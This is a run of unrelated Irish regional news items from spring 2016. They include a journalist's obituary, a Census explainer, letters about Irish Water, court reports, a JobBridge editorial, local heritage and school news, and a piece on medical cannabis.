Sent away to boarding school in Newbridge College, his early ambition to become a journalist mystified both his contemporaries and the masters at the Dominican College, who could offer little by way of career guidance.

James started at the bottomof the laddeer at the age of 18, contributing the Dromahair notes to the 'Sligo Champion' - for which he was paid by the line - before moving to the 'Carlow Nationalist", where accuracy and objectivity were prized.

He was fortunate enough to be taken under the wing of the editor, Liam Bergin, who also trained broadcaster Olivia O'Leary.

From him, he learned a lot about journalism and at the age of 20, when he was appointed district correspondent in Portarlington, James began what he described as "one of the happiest years" of his life - though he noted that while he had rarely been offered a bribe throughout his career, "most of them came in one year in Portlaoise, Mountrath and Monasterevin" from court defendants keen to keep their names out of the paper.

A year later, he was headhunted by the 'Irish Press' and moved to Dublin, recalling visits to the slums, where he "stood amazed" at the conditions of the poor. He frequented the fringes of the Bohemian society of the day, making the acquaintance of Patrick Kavanagh, Myles na gCopaleen and Brendan Behan - whom he found "impossible to admire as a person".

He worked for a number of publications before ending up at 'The Irish Times' as a sub-editor and political correspondent, serving at a time of turbulence here and throughout the Troubles in the North.

He became a deputy editor and London editor in a varied 29-year-long career with the paper but was known to be bitterly disappointed when he was passed over for the editorship in favour of Conor Brady.

On holiday in Croatia, he met Moira Stevenson and the couple married in 1963 and had two daughters.

He ran as a candidate for the Labour Party in 1969 but later remarked that he'd had a lucky escape because life as a politician would not have suited him.

His first column in the Irish Independent appeared in 1989, and he continued with the paper for 27 years, well respected for his unrivalled knowledge of Irish politics - and much loved for his dry wit.
For many people, the Census is just another tedious form to be filled out, a data-collecting exercise of little or no benefit to their daily lives.

The State, they argue, already holds vast amounts of information about its citizens through income tax returns, local property tax payments, Irish Water bills and payments from the Department of Social Protection.

Could this data not be used to help plan essential public services?

Simply put, no. The Central Statistics Office (CSO) says the Census it is an essential tool to capture in real time how people live their lives, how they travel and about the homes they live in.

The information, collected every five years at a cost of 50m, is provided to State agencies employed to spend scarce public funds as effectively and efficiently as possible.

And in the coming months, the CSO will know the age, sex, religion and occupation of every person in the State on Census night.

They know where they live, with whom they share their home and whether they have moved house in the last year.

And when data from some two million forms is analysed, the CSO will also know the ethnicity of every person, whether they speak Irish or other languages and if they hold down a job.

But this isn't a case of Big Brother watching. Unlike high-tech internet companies which mine your personal data to sell to advertisers at a profit, this information is used to plan the provision of essential public services.

Want a school? Census data will show the number and age of children living in an area to determine if one is needed.

The stated religion of those children will help decide its ethos, whether it is Roman Catholic, Church of Ireland, another religion or non-denominational.

Concerned about a lack of public transport? The Census analyses travel patterns to work, school or college, and captures whether buses, trains, Dart, Luas, bike, foot or the car is used as the primary mode of transport, allowing planners to see where investment is needed.

Government departments use information on educational attainment and employment to map the most deprived parts of the country, giving planners the information needed to deliver services.

The Housing Agency uses data on the average size of households to help shape policy around the needs of the future.

It all points to an over-riding need to complete those forms. And it's not an option - failure to complete the Census form can result in a fine of up to 44,400.

After Census 2011, five people were prosecuted, but the maximum fine imposed was 500.

Senior statistician with the CSO, Deirdre Cullen, says the Census is important because it provides a snapshot in time of how we live, down to a very granular level.

"It's the only source of data at small area level in Ireland," she says. "You can get broad regional data from other surveys, but in the Census there's more than 18,300 small areas, which are based on the number of dwellings, and not geography.

"They typically have 100 dwellings in them. In rural areas, they can be quite large, but can be just one apartment building in a city. It's that fine level of detail which allows organisations like Pobal record areas of greatest needs."

It's not just used to map deprivation, or in an attempt to rank counties against each other. It's about future-proofing and planning the type of public services we not only need today, but far into the future.

Given the extent of the housing crisis, planning the types of homes we build - and where we build them - is crucially important.

Ireland is prone to large migration flows, and between 2011 and 2016, around 720,000 people have immigrated into or emigrated out of Ireland.

A further one million people are estimated to have changed address over that five years, and capturing where they are moving to is crucial for long-term planning.

The questions around housing tell the Housing Agencies and other players where people are living, what kind of conditions they're living in, what kind of family sizes we have, and where vacant property is located.

Using population data, future growth and household sizes can be predicted.

In the 1970s, between four and five people typically inhabited the 'average' home. That's reduced to less than three, and the decline is expected to continue, as families become smaller and people choose to live alone.

That has profound implications, and without the Census information we could continue to build larger houses in our cities rather than smaller units or apartments. It ultimately means we may end up building housing types which will not meet future needs.

And apart from being an important source of socio-economic data, the Census also tells future generations about us.

The release of old Census returns from 1901 and 1911 by the National Archives has been hugely popular, and in 100 years' time, this Census will be published.

What a rich source of history that will be, telling the story of Ireland as it emerged from recession, the social impacts which ensued and how our population changed.

For those frustrated at the lack of a government, who may feel their vote was wasted in the General Election, the Census is one way to really make your voice heard.

Fill it out. It only takes half an hour. And it could make an enormous difference to whether your children have a local school, your elderly parents have the type of supports they need and if you can take the bus to work, instead of sitting in traffic gridlock.
Much of the controversy around Irish Water has more to do with the detail of implementation than the substance of whether a water charge should exist or not. Everyone in the State is shocked at the sight of raw, untreated sewage entering the bays of coastal towns in a country which places a high value on tourism.

Equally, the majority of people accept that the infrastructure, piping and treatment plants need major replacement and upgrading. Allied to this, the chemicals being added to 'purify' much of the water sources coming out of lakes with peat content may in the long term be cancerous. It's also unacceptable that thousands of people have to boil their water before use.

The first question is this. Why has this state of affairs been allowed to come about and how has the water service been neglected to such a degree?

It has been argued that monies taken out of general taxation down through the years were diverted to other areas, and that the water system was starved of resources as a result. In other words, water maintenance was one of the poor relations in the administration of government.

The fact that each local authority had control over its own water system is given as another reason for the haphazard approach to our water network. The case for a brand new utility solely concentrated on water management is made, in order to cure the defects of the old system. Nobody could disagree that a specific body charged with the task would have to be a huge improvement, as it can chart, co-ordinate, streamline, and prioritise its work, as well as employing experts in the field. The critical question is about funding.

It seems obvious that general taxation cannot solve this, as it appears to have failed in the past. The fact that money that should have gone to the water system in the past was diverted shows there was a 'rob Peter to pay Paul' approach at work and therefore general taxation was not enough to cover everything. Had the proper amount of money been allocated to the water system down through the decades, where would the overall shortfall have been felt? Health? Education ? It's a circular argument.

The water coming into one's house has to be treated, it does not fall from the sky straight into the system. The water leaving the house has to be treated as well. This all costs money.

These things have to be paid for. Where general taxation fails to provide for a proper water system, then the shortfall should be paid for by a levy based on consumption and over-usage.

Joseph Kiely

Donegal town, Co Donegal

The Bard and Irish Water

As Shakespeare wrote: "Men's evil manners live in brass; their virtues we write in water."

Could this be applied to the political stalemate over Irish Water?

Eve Parnell

Dublin 8

Vegetarian? Pigs might fly...

And so it has come to pass that pigs can fly.

Peruse, if you will, the Aer Lingus website which offers a section on its in-flight menu for European flights. Under the sandwich section, there is a meat or vegetarian option.

However, on a flight from Paris ten days ago, the menu on board showed no vegetarian option. When I queried this, the hostess apologetically said that it was cancelled from the menu for economic reasons and that ham and cheese, being in greater demand, was now the only sandwich available. She suggested I write to customer services to fight for its reinstatement.

When I asked if she had cheese and crackers, she said had none either, but very generously gave me her own flight attendant's lunch, which included fruit, crackers and cheese. Obviously, a decision has been taken by the powers that be to axe the vegetarian option for Aer Lingus customers and, of course, the hostess is not at fault. That pigs are dying to fly in providing the ham and cheese option seems to be ignored by the executive decision-makers who came up with the new menu. Bring back the vegetarian option!

Fiona O'Brien

Sutton, Dublin 13

Amnesty misses the point

From my reading, Colm O'Gorman (Letters, April 20) seems to have missed the point of Cora Sherlock's letter.

He claims that Amnesty Ireland is not selective about which aspects of the abortion debate it will discuss. Yet once again, there is no mention of the unborn child whose life is ended in abortion. Does he or she not feature anywhere in Amnesty's campaign? If not, why not?

This is a question which I feel must be answered by Mr O'Gorman if he expects to be taken seriously in this debate. Abortion ends the life of an unborn child. Nothing he says can negate that fact.

Elaine Noonan

Glenageary, Co Dublin

Census is a capital crime!

The census takes place on Sunday night and the National League final between Dublin and Kerry takes place earlier the same day.

Since everyone must be enumerated in the place where they stay on Sunday night, it means that Kerry people who stay overnight in Dublin after the match will be enumerated as Dubs. Kidnapping Sam is bad enough, but kidnapping the supporters plumbs new levels of Jackeen perfidy. And not a whimper from the Healy-Raes.

Eamon Farrell

Swords, Co Dublin.

Don't fine non-voters

Patrick Murray states in his letter (Irish Independent, April 19) that those people who refuse to vote should be subject to a 50 fine. I believe that this would be totally against the notion of democracy, in a democratic state, a citizen has the right to abstain from voting. To force people to vote against their will is to deny people their rights as an Irish citizen.

Paul Byrne

Glenageary, Co Dublin.

Denmark comparison is wrong

During the current political impasse, much has been heard about how Denmark has functioned with a minority government.

What the advocates of this have failed to mention is that, in the 2011 election in Denmark, not one Independent was elected to parliament. It is also worth noting that the total votes of Independents was slightly over three thousand from a valid poll of over 3.5 million. So where does that leave Ireland as regards a valid comparison, since it appears that there no 'parish pump menus' that the parties who make up the government are forced to choose from?

Paul Connolly

Co Kildare
A number of protesters appeared before Bray District Court last Thursday after being arrested at Rosehill in Wicklow town the previous day.

They were charged under section 12 of the Water Services Act, obstructing the exercises of Irish Water.

James Higgins (29), Church View, Arklow, was released on bail with the condition that he must not interfere with Irish Water or GMC Sierra. While the gardai asked that he stay out of Wicklow town, the court heard that his mother lives there so that condition was not imposed.

Eamon McGrath (60), 68 Kenmare Heights, Greystones, was released on similar conditions. The out of work taxi driver has grandchildren in Wicklow so that condition was not imposed.

Gardai asked that the protesters not go within 100 metres of Irish Water or their agents, however the defence asked that this be imposed sensibly as they could be walking along the street and encounter them.

'We have concerns that conditions will be abused if too loose,' said Inspector Denis Whelan.

Sean Doyle (66), 11 Sunnybank, Kilpedder, was released on similar conditions. The court heard that he needs to go to Wicklow a number of times a week, shopping, and that he was prepared to give an undertaking not to impede Irish Water.

Lynda Southern (41), Finvarra, Hyde Road, Dalkey, was told to stay out of Wicklow Town as she has no reason to go there.

William Douglas (34), 87 The Oaks, Keatingstown, Rathnew, was similarly released on the condition that he not impede Irish Water. The court heard that his Rathnew home is in the Wicklow town environs.

All matters were adjourned to May 10 at Wicklow District Court, sitting in Bray.
If you always do what you've always done then you'll always get what you always got".

How many of us have different things we would love to try but something is holding us back? Perhaps the life we are leading is largely determined by circumstances out of our control, whether it's parental responsibilities, having financial commitments, a demanding career etc.

At what point do we decide enough is enough? I have slowly started to learn there is never a perfect time to try something different. You just have to take the time and make it perfect for yourself.

So often we hear that 'life begins at the end of your comfort zone'. I decided that I could not preach this mantra without trying to live it myself.

Last Friday, I was announced as one of the Supervalu ambassadors for a new campaign called the "Good Food Karma Project". Joining this new team made me feel like a rookie again. Our first day together was at Dunbrody Country House in Wexford and I could hardly sleep the night before.

You may be forgiven for thinking it was due to excitement, but alas it was nerves that tormented me all night. When I entered the Lion's Den (as how it appeared in my mind) I had to consciously remind myself to stop being afraid of what might go wrong and think about what might go right.

That morning we were all presented with a box of food and we had to cook a dish using only those ingredients. I looked to the left of me and saw chef Kevin Dundon's towering presence alongside the effervescent 'Fishy Fishy' restaurateur, Martin Shanahan. I glanced to my right and saw The Happy Pear duo, the baker supreme Sharon Hearne Smith and the former Irish International turned author David Gillick. Panic set in. I was whisked back in time to my first appearance in the Cork Senior dressing room in 2003. I felt way out of my league.

I had a flash of dread for a moment and wondered did I do the right thing. I was content in the safety of my comfort zone. Why didn't I just stick to what I was already good at? But while 'a ship in a harbour is safe, that is not what ships are designed for'. Staying docked in my life might be easier at times, but life is there to be embraced. I swallowed my worries, put my 'game face' on and tackled the task. Dunbrody House is still standing and no fire extinguishers were needed so all was good! I even enjoyed it. I have since been involved in a cooking demonstration at Mansion House in Dublin and again those who sampled my food made it out alive. It was an exhilarating feeling having people compliment my dish. It was a feeling similar to that of achieving a new personal best in sport or executing a skill correctly for the first time.

Hindsight is a wonderful thing and in the years after joining the Cork panel I began to realise that the manager saw potential in me, when I doubted my reasons for being there. He believed I could add value to the group.

I may not have been the strongest, fastest or most skillful when I joined, but I had something to offer.

The Good Food Karma Project is the same. I bring my own strengths to the team. Acknowledging your strengths and accepting your weaknesses is important. It is only then that you can improve upon them. We all like to bury our heads when it comes to weaknesses. No one likes to confront areas of their life in which they wish they were better.

I know my culinary skills will never be at the standards of Kevin Dundon, but they are not expected to be. I can bring something different to the group. There is an energy and willingness within me to make mistakes, experiment with ingredients and trial new recipes. I never thought I would spend my weekends trying new recipes and wondering how I could put my own stamp on them.

I represent the general population in this country who have the ability to cook but are sometimes afraid to play with food. While training so often as a county player I never had time for cooking. I stuck to the same routine, week in weak out. The meals were healthy, but sometimes they lacked imagination and flavour. In truth, I never made time for cooking and almost developed a fear of it. It was easier to say "I couldn't cook" than to give it a go.

Taking on this challenge has shown me that the 'thinking about something is always worse than actually doing it'. I certainly have a passion for eating healthy and tasty food, now I am learning to cook it for myself.

Bottom line is I love the concept of this campaign. It's about enjoying the entire experience involving food, not just the 'eating' part.

I got involved because I want to change people's relationship with food by demonstrating the real benefits of good wholesome ingredients, coupled with the satisfaction that is gained from cooking. This campaign is about getting the nation to cook together- families, couples, friends- and have some fun in the process.

To support the campaign further, the team will be hitting the road this summer to visit communities across Ireland and give demonstrations to help people improve their culinary skills.

The panic will undoubtedly set in from time to time over the summer months, but I am a part of a great team that is willing to help and support me whenever I need it.

This experience has made me realise that if I wait until I'm not scared to try new things, then I'll never get to try them at all.

Remember, if it doesn't challenge you, then it doesn't change you".
Amidst the seemingly interminable negotiations to form a new Government the future of Irish Water has loomed large. However revelations this week show that another Government initiative, the controversial JobBridge scheme, is also in need of a major overhaul.

Internal documents from Joan Burton's Department of Social Protection show that since JobBridge was introduced there have been a litany of serious complaints made to the Department about some companies availing of the scheme.

These complaints - which include allegations of bullying, harassment, abuse and even in one case physical assault - saw 86 companies banned from using the taxpayer funded scheme.

Some interns were forced to work unfair hours while other reports released by the Department showed that some companies laid off their own staff and then replaced them with interns.

Since its inception in 2011 JobBridge has been the subject of much criticism, some of it justified, some less so. JobBridge is not entirely without merit. Since it was introduced just under third of the 46,500 people who took part in the programme secured jobs immediately after finishing their internships.

That is no doubt fantastic for the roughly 15,000 people who secured those jobs however, it would seem the vast majority of interns have not been as fortunate.

Anecdotally there have been many stories of firms, both large and small, taking advantage of the scheme seemingly in an effort to hire staff at a low cost. There have also been many accusations that the scheme is little more than a number juggling exercise on the part of the Department and The Government designed to mask the true scale of joblessness in Ireland. As such the revelations in the documents released this week are not entirely surprising.

What is surprising, and indeed shocking, is the Department's admission that its own systems are not capable of protecting JobBridge Interns from abuse at the hands of their temporary employers. As of last November 44 businesses had been banned or suspended from taking part in JobBridge. The Department did not name and shame the banned employers as they felt doing so could damage the businesses future prospects. That shows a laudable concern for the businesses but not much empathy for situation of the unfortunate interns.

Of far more concern is the fact that all 44 businesses barred from JobBridge in November had their bans lifted because the Department decided that it's guidelines "were not robust enough to necessarily comply with fair procedures."

That U-turn on the bans came despite some Department Inspectors recommended that some companies be banned entirely from availing of the scheme. Since November no other companies have been barred from hiring JobBridge interns. There has also been no indication from The Department as to what steps will be taken to improve it's deficient guidelines.

What all this means is that companies which were found to have taken advantage of interns are now again free to hire - and potentially abuse - new interns. Given that the previously banned companies are not being identified any Interns taking positions at these businesses will not be informed that their new employers have a history of seriously abusing interns in the past.

The Department of Social Protection is allowing interns take positions where there is a distinct possibility that they will be taken advantage of. It is an utterly disgraceful situation.

I don't often find myself agreeing with Ryanair boss Michael O'Leary but his comments about how the 'electorate has not served the country well' cannot be argued with.

His remarks, I believe were not intended to chastise the electorate or berate it, but rather as an observation which is in fact true.

We are more than two months since the General Election and still without a Government.

I am so sick of politicians playing silly beggars while the country waits patiently for them to strike some sort of deal.

When the election results became clear - I recoiled in horror at the suggestion of another one in the space of weeks, or even months but now I'm not so sure.

I think the way that things have played out in recent weeks would give rise to a lot of changes in votes if people were asked to return to the polls.

An election campaign is exhausting and the thought of doing the whole thing again (both as a journalist and a voter!) was too much to even consider. The general feeling amongst the public was that the party leaders should do exactly that - show leadership and work it out. Now that more than a few weeks have passed, my opinion is changing and I now know for sure that my vote would too, given the chance.

I am bitterly disappointed at how the two main parties have put their own agendas before the people and I feel that dragging the whole process out so long is an insult.

This surely cannot be their best effort at striking a deal. Instead of getting themselves in gear and serving the people, they are playing chicken and hoping that others will lose their nerve first.

Perhaps now, another election would be the best way to go, now that the people have seen how their politicians approach forming a Government when the numbers are not so clear cut.

I still think that those elected have a duty to form a Government and to make it happen, as that is the mandate the people have given them.

The longer discussions drag on, I fear, the further away that any resolution is.

If those elected are unable to fulfil their duty then there is nothing else for it but to go back to the people and ask them again.

Sadly, in politics, what is best for the people isn't always the only issue at stake as the last few weeks have shown us.
The heritage map of Charleville has been printed by Cork County Council and will be launched in the Town Library on Wednesday 27th April. The map, which has been prepared by Ms Mary Sleeman, Archaeologist of the Heritage Department at Cork County Council in conjunction with Charleville Heritage Society and Fermoy Municipal Area officer Pauline Moriarty, will be available free to the general public and should be in local outlets from the date of the launch.

Cllr Ian Doyle, Chairman of Charleville Heritage Society, said the map displays the places of historical interest along the various streets such as the former Catholic Church in Chapel Street, the Convent of Marcy building, the Weaver's Cottages at the Turretts, the Georgian Houses at Clanchy Terrace, the Republican Monument at Main Street, the monument to Jacobite Poet, Sean Clarach Mac Domhnaill in Holy Cross Cemetery, the former cinema at Clanchy Terrace.

The Market House at the junction of Broad Street and Main Street is also included, as is the former Fever Hospital at Smith's Street now the Mannix Block at St. Mary's Secondary School for girls. The old C.B.S., the A.I.B., the Bruce Family Vault, the former Morrissey's Store in Smith's Lane, the former National School, now the Schoolyard Theatre, are there with others, along with a map of the streets of the town in full colour.

The map also highlights Moatville House at Limerick Road, which is reputed to be the only extant example of a 17th century house in County Cork. The house is owned by Kerry Group plc, who acquired the property when the Group took over Golden Vale plc in 2001. However, in this regard, Mr. P. J. McCarthy, President of Charleville Chamber is currently in negotiation with Kerry Group to come to some form of arrangement, whereby the house would revert to the local community for development as a tourist amenity, in conjunction with Cork County Council and other bodies.

The map will have a short history of the town on the reverse side and will feature some of the famous people who were born in or have an association with the town, and who have gone on to become prominent in the realms of church and state or other endeavours down through the years. These include Roger Boyle, Eliza Lynch, Archbishop Daniel Mannix and Eamon de Valera.

Cllr Doyle thanked Charleville Chamber and the members of the local Heritage Society for their input into the publication of the map, which will highlight Charleville as a centre for heritage tourism.

"This has been brought about mainly through the efforts of Charleville Heritage Society who have been highlighting this aspect of Charleville through their Festival of History each September, which began with the Gathering celebration of the life of Archbishop Daniel Mannix in 2013 that attracted a party of 14 people from Australia, America and England to visit Charleville that year.

"This was then followed by the weekend to highlight the life of Paraguayan national heroine Eliza Lynch who was born in Charleville in 1834 and which also attracted foreign visitors to the town, including the great grandson of Eliza Lynch, Ambassador to the UK and Ireland Miguel Solano Lopez. In the past year the Society honoured the Jacobite poet Sean Clarach Mac Domhnaill, who is buried in Holy Cross Cemetery, as well as Professor Daniel A. Binchy, who was the first Irish Minister to Germany from 1929 to 1932," said Mr. Doyle.

This year's Festival of History, on September 9 -10, will highlight the Croke Family connections with Charleville. Details of the weekend are being finalised but speakers already confirmed are the Archbishop of Cashel and Emly Most Rev. Dr. Kieran O'Reilly and An tUasal Aogan O Fearghail President of the G.A.A.
Born in London in 1896 to a rich landed family, Oswald Ernald Mosley succeeding to the title of the 6th Baronet of Ancoats following his father's death in 1928.

Having served on the Western Front during World War 1 he entered the world of politics, serving as a British MP from 1918 to 1924 and from 1926 to 1930.

After failing in his bid to get re-elected to the House of Commons, Mosley went on to form the British Union of Fascists, known as 'The Blackshirts' due to the colour of their uniforms, in 1932.

The party initially reflected his admiration for the Italian dictator Benito Mussolini, but became heavily influenced by Nazism.

The group was were known for distributing anti-Semitic propaganda, conducting hostile demonstrations in the Jewish sections of east London and wearing Nazi-style uniforms and insignia.

In 1936 Mosley married Diana Mitford, his second wife, in the Berlin home of Nazi propaganda chief Joseph Goebbels with Adolf Hitler as one of the guests.

The 'It Girls' of their day, Diana and her sisters Nancy, Pam, Unity and Decca and Deborah were revered and reviled in equal proportion, in much the same way that the Kardashians are today.

Much of this was down to their often scandalous antics, some of which would not have looked out of place in the plot of an episode of Downton Abbey.

As a result of the Mosley's endorsement of Hitler's policies following the outbreak of World War II the couple were interred living with their son Max in a house on the grounds of London's Holloway Prison.

They were released in 1943 due to Mosley's ill-health but remained under house arrest until 1945.

After the war Mosley formed the Union Movement and after a failed attempt to launch a National Party of Europe moved to Ireland in 1951.

He subsequently returned to Britain running under the banner of the Union Movement in 1959 and 1966 general elections, but was widely ridiculed and subsequently disappeared from British politics.

The couple moved to France and Mosley died at his home at Orsay in December 1980. His wife died in Paris in 2003.
A 29-year-old woman has been remanded in custody after she pleaded guilty this week to the manslaughter of two men in an arson attack on a flat in North Cork just over two years ago.

Rachel Crawshaw pleaded guilty to the unlawful killing of John Palmer (37) and Greg Lonergan (36), at Granary Court, St Joseph's Road, Mallow between March 12 and 13, 2014.

Crawshaw also pleaded guilty at Cork Circuit Criminal Court this Tuesday to committing arson at Granary Court, St Joseph's Road, Mallow on the same occasion.

Defence counsel Tom Creed SC applied for an adjournment to allow the preparation of a probation report on his client whom, he told the court, had had a difficulty with drugs in her life. Judge Sean O Donnabhain granted the application and adjourned sentencing until June 9 to allow time for the preparation report on Crawshaw, whose address was given as 'no fixed abode'.

Judge O Donnnabhain remanded her in custody until June 9 while he also requested the preparation of victim impact reports from the families of Mr Palmer and Mr Lonergan .

Det Sgt Michael Corbett had previously given evidence of arrest, charge and caution at Mallow District Court and said he had arrested Crawshaw at Cork Airport on February 22 last.

Crawshaw's arrest followed a near two-year garda investigation by officers in Mallow, including a thorough forensic examination of the scene of the blaze by garda technical experts.

Both Mr Palmer and Mr Lonergan were recovered from the rented apartment at Granary Court by firefighters using breathing apparatus but they were pronounced dead at the scene by a local GP.

A third man, Mr Palmer's twin brother, Chris, was rescued from the building by Garda Caitriona O'Sullivan and Garda Liam Phillips, and taken to hospital for treatment for smoke inhalation.

At the time, Supt Pat McCarthy of Mallow Garda Station paid tribute to the two gardai for their courage in rescuing Chris Palmer from the third storey flat in the apartment complex.

The Palmer twins were originally from Tallaght in Dublin while Mr Lonergan had lived at a number of locations in Cork city and county prior to moving to Mallow.
A 49 year old woman will be sentenced later next week after she pleaded guilty on Tuesday to careless driving causing the death of a 41 year old motorcyclist in North Cork last August.

Jennifer Connery pleaded guilty at Cork Circuit Criminal Court to driving without due care and attention causing the death of TJ Sweetnam at Ballinrush, Kilworth, on August 22, 2015.

Judge Sean O Donnabhain asked prosecution barrister Imelda Kelly BL whether there were any aggravating factors in the case such as alcohol, speed or the condition of the vehicle.

Ms Kelly said that there were no such aggravating factors and Judge O Donnabhain adjourned the matter until April 28 for sentence to allow for the preparation of a victim impact statement.

Earlier this month, Fermoy District Court was told Connery had travelled back from the UK where she lives at Wills Crescent, Whitton Park in Hounslow in London to be charged with the offence.

The late Mr Sweetnam was a mechanic from Ballinrush, Kilworth and was close to home when he was fatally injured in the road traffic collision near the Corbett Court Restaurant on August 22 last.

A motorcycle enthusiast who worked at Cavanagh's in Fermoy town, the late Mr Sweetnam is survived by his mother, Anne, sisters, Liz and Georgina and brothers, Richard, Liam and Peter.
A Gorey mother whose daughter has been on an urgent speech and language waiting list for more than 17 months said she doesn't know if her daughter will be able to start school in September.

Mum of five Niav McEvoy from Mullawnfin, Gorey said that in November 2014 her four-year-old daughter Heather was diagnosed with severe speech delay and put on an urgent speech and language waiting list in Gorey. However 17 months on and little Heather hasn't been seen, in fact she is still only number 12 on the list.

'I was talking to the office last week', said Niav 'and Heather is now number 12 on the list which means there are 11 children ahead of her. We don't know how long it will be before she moves to the top of the list. She's been 17 months waiting so far and that's the urgent waiting list.

'It's so frustrating. No child should be left waiting that long for early intervention.'

Niav said that some of the problem with the long waiting list stems from overlapping maternity leave by two of the therapists. 'Obviously people are entitled to their maternity leave and I've no problem with that. My problem is that these women weren't replaced. That's the issue. Not people taking leave.

'I've a friend who is a speech therapist in Dublin and she also assessed Heather and gave me advice on how to work with her on her speech but she needs proper therapy. I've no issue doing work at home with Heather but I'm not a trained speech and language therapist.

'I could be doing something wrong and not know it.'

Niav said Heather has been diagnosed with Phonological Disorder which is fairly common in children but said that she urgently needs therapy to correct the problem. 'Kids need therapy to get beyond the speech delay and the problem can be sorted but if you don't do anything they might not be able to get beyond the problem.'

Niav said that she and husband Darren also investigated the possibility of getting a private speech and language appointment for Heather but were told that there isn't a private therapist working in the Gorey district.

After this Niav, desperate to raise the plight not only of Heather but the long waiting lists, wrote an open letter to Minister for Health Leo Varadkar. She said she felt she had no other option. In the letter she said she was 'a typical mother who will do anything and everything for her children. A mother who refuses to remain silent on an issue that doesn't just impact on my child but impacts thousands of children the length and breadth of our country.

'Heather is yet another statistic within our health service. My daughter does not deserve to be on an urgent waiting list for 17 months. No child does. My daughter deserves to be heard. She deserves to receive the services she so desperately needs. So does every other child in this country awaiting speech and language therapy.

'It baffles me that our country can pay pensions to serving politicians, how we can squander billions on a useless utility company (don't get me started on THAT one), how we can send billions in foreign aid overseas, how we can welcome thousands of refugees to our land but we cannot afford to provide additional speech and language therapists? We cannot afford to provide such essential services as speech and language to our children. Our children who have been diagnosed with a severe speech delay. Our children who are on an urgent waiting list for over 17 months.'

Niav went on to say: 'it is no secret that the health services need serious and urgent reform. I ask you, no I beg you, to do something about the serious shortage of speech and language therapists so that waiting lists can be eliminated, not reduced, eliminated.

'Surely you can understand that if a young child is diagnosed with a severe speech delay, placing said child on a waiting list that will continue for over a year and a half will be detrimental to that child and his/her development?

'Our children need you to step up to the plate and do the job you are charged with doing; to be the minister you claim to be. Our children need you to hear them.'

Niav said that she had contacted a number of politicians about the problem but said she was told that until a Government is formed nothing can be done.

However she said this isn't good enough. 'If everyone sits back and does nothing, nothing gets done.'

Heather is due to start in Riverchapel National School this September but Niav said the couple don't know if she will be able to go because of her speech delay. 'We don't know how things will go and if she'll be able to start school in September.

'We are hoping that her speech will be good enough and she will be able to go but without therapy before then I don't know. We are working towards her starting in September but realistically we don't know.'

Niav said she has no idea when Heather will get an appointment with a speech therapist. 'I honestly don't know. We are hoping before the summer but we just don't know. She's already 17 months on an urgent list and there are still eleven children ahead of her.'
Three Gorey primary schools have reached the finals of the Waltons Music for Schools competition in Limerick University Concert Hall.

The Gorey schools make up half the finalists in the prestigious national contest which takes place on May 10. The Gorey schools, Bunscoil Loreto, Gaelscoil Moshiolog and Craanford National School, will compete against schools from Donegal, Tipperary and Dublin.

Aileen Kennedy, principal of Bunscoil Loreto, said having three local schools among the six national primary school finalists showed the great commitment to music in the area.

'It's fantastic to see three Gorey schools in the finals of this national music competition and it shows that in this area the standard is being pushed so everybody rises to it, where as schools in isolation can find it harder to get an idea of the standard of competition,' she said.

Carol Scott, principal of Gorey's Gaelscoil, said the three Gorey finalists showed the high level of music ability in the area.

'The fact that three local schools have reached such a high standard is down to the ability of the students we are working with and the fact that there are plenty of places for children to learn and access music in the town, with two Comhaltas branches in Gorey,' she said.

Stephen Hayes, principal of Craanford NS, the smallest school of the trio, said that the most important element of the contest for the children is the level of exposure to new experiences that the event provides.

'They are only children and life goes by fast so it is a wonderful opportunity for them to experience new positive things,' he said.

In May, the finalists will perform their musical ensembles, which incorporate instrumentals, song and dance, to this year's adjudicators Micheal o Suilleabhain and Gwen Moore at the University of Limerick Concert Hall.

Bunscoil Loreto principal Aileen said, however, that the competition is not really about winning but is an opportunity to expose the children to different genres of music, and once in a life time opportunity of performing on a national stage.

'Many adult performers who have been playing all their lives have never had the chance to play on any national stage and we have children who have already played at the National Concert Hall, and the National Opera House and will soon add the University of Limerick Concert Hall to their list and are amusingly pragmatic about it because they don't really grasp the value of it yet,' she added.

Gaelscoil principal Carol said that this year's entry was a community affair and gave particular credit to the commitment of two musical parents Mandy O'Callaghan and Diarmuid Comerford who have provided hours of free tuition to the children for this year's event.

All three Gorey schools are seasoned winners as last year saw Craanford NS winning second place in this competition, with third place going to Bunscoil Loreto, while Gorey's Gaelscoil came third place just two years ago.

Waltons Music for Schools Competition is a non-profit national event celebrating music in Irish schools.

Check out the Waltons Music for Schools Competition You Tube Channel to see this year's entries: youtube.com/waltonsmusicschools/.
Gorey School of Art student Chloe Murphy has won the highest marks in the country from the National College of Art and Design for her portfolio of artwork.

Chloe, who is from Arklow, is currently studying the one year Advanced Portfolio Preparation course in Gorey but has had her eyes set on a place in NCAD since she attended an open day at the university as a fifth-year student at Arklow's St Mary's Secondary School.

The talented 18-year-old was up against tough competition for a place at Ireland's most prestigious art college and said she was shocked when she read the results she had received for her portfolio.

'I was totally shocked when I read the letter but I am absolutely happy with my results and I want to go on and study the Art and Design Education degree course there,' she said.

'I was always interested in teaching and art has always been my hobby, and my Mum is good at art too so I suppose I must get it from her,' she added. This year has seen all 45 students at Gorey School of Art successfully win places in third level colleges to study art, film-making and photography. Tutor Andrea McCorry said she was very proud of her students.

'It is great to see their hard work being recognised with these excellent results,' she said.
IT Tralee held a fun triathlon on Monday as part of the sipITT project a project aimed at improve the general health and well-being of students.

The sipITT scheme also aims to help academic performance as well as reducing levels of hazardous drinking.

Monday's event saw 40 three strong teams, comprising of both students and staff, compete in a triathlon, which will commence with a 5km run, followed by a 10km cycle and then a 500 metre swim.

"National research carried out in Ireland suggests that college students have a high level of alcohol consumption which is often consumed in binge drinking sessions. This harmful drinking can lead to many health problems in young people including long term and irreversible damage to the developing brain. Alcohol misuse also negatively impacts on student attendance and academic success, relationships, finances and mental health," said sipITT co-ordinator and ITT Health and Leisure Lecturer Jackie Ruttledge.

"Unplanned and unprotected sex, and sexual violence have also been cited as problems among students who are consuming excessive amounts of alcohol," said Mrs Ruttledge.

"IT Tralee is being proactive in it approach to reduce harmful drinking by empowering students with the knowledge and healthy alternatives to reduce their consumption."

"The sipITT project organises a variety of free events and activities including personal training, exercise classes, mindfulness, weekly massage clinic, cookery demonstrations and healthy eating talks," she said.
Kerry County Council is leading calls nationally for the legalisation of marijuana for medical use after one local politician secured unanimous backing for the move on Monday.

Fianna Fail Cllr Norma Moriarty succeeded in her proposal to get the Council to write to the Minister for Health, and relevant agencies, to allow the use of the drug for patients whose GPs would deem it effective for the alleviation of symptoms.

"It's difficult to understand why this kind of medication can't be made available under certain circumstances," Cllr Moriarty said.

